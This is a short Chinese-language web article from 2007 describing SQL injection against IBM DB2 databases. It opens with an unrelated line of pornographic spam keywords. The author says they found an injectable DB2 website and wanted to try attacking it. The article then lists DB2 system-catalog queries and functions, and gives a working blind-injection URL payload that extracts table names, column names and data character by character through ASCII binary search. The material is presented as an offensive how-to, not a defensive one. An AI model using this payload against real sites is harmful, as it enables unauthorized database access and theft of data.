欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Sql Injection in DB2數(shù)據(jù)庫

 更新時間:2007年01月16日 00:00:00   作者:  
使用DB2的人比較少了,今天碰到了一個可供注入的DB2網(wǎng)站,想試試身手。不過在網(wǎng)上很難找到相關(guān)的資料,只好自己研究了。 
參考了IBM DB2的文檔,總結(jié)了這樣幾條: 

1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER 
可以返回系統(tǒng)中所有用戶創(chuàng)建的表(table)名 

2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''  
返回表中的列名 

3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY 
這是最關(guān)鍵的地方,返回第一條記錄,類似于sql server中的top 1 

4、SUBSTR(string, position, length) 
返回字符串子串的函數(shù),類似于mid 

5、ASCII()這個就不用多說了。 

有了這些語句和函數(shù),我們就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的數(shù)據(jù)了。 

例如判斷第一個table的名稱的第一個字符的ascii碼是否大于50: 
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 -- 


http://blog.waynedeng.com/blogview.asp?logID=543 

相關(guān)文章

最新評論